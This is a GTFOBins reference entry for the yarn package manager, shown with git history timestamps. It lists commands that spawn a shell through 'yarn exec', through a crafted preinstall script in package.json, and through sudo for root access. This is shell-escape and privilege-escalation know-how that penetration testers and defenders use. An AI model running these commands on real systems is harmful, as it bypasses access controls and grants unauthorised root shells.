GTFOBins.github.io/_gtfobins/yarn.md

13 lines
403 B
Markdown
Raw Normal View History

2021-06-18 14:06:46 +02:00
---
functions:
shell:
- code: yarn exec /bin/sh
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.
code: |
2021-06-18 14:16:48 +02:00
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
yarn --cwd $TF install
2021-06-18 14:06:46 +02:00
sudo:
- code: sudo yarn exec /bin/sh
---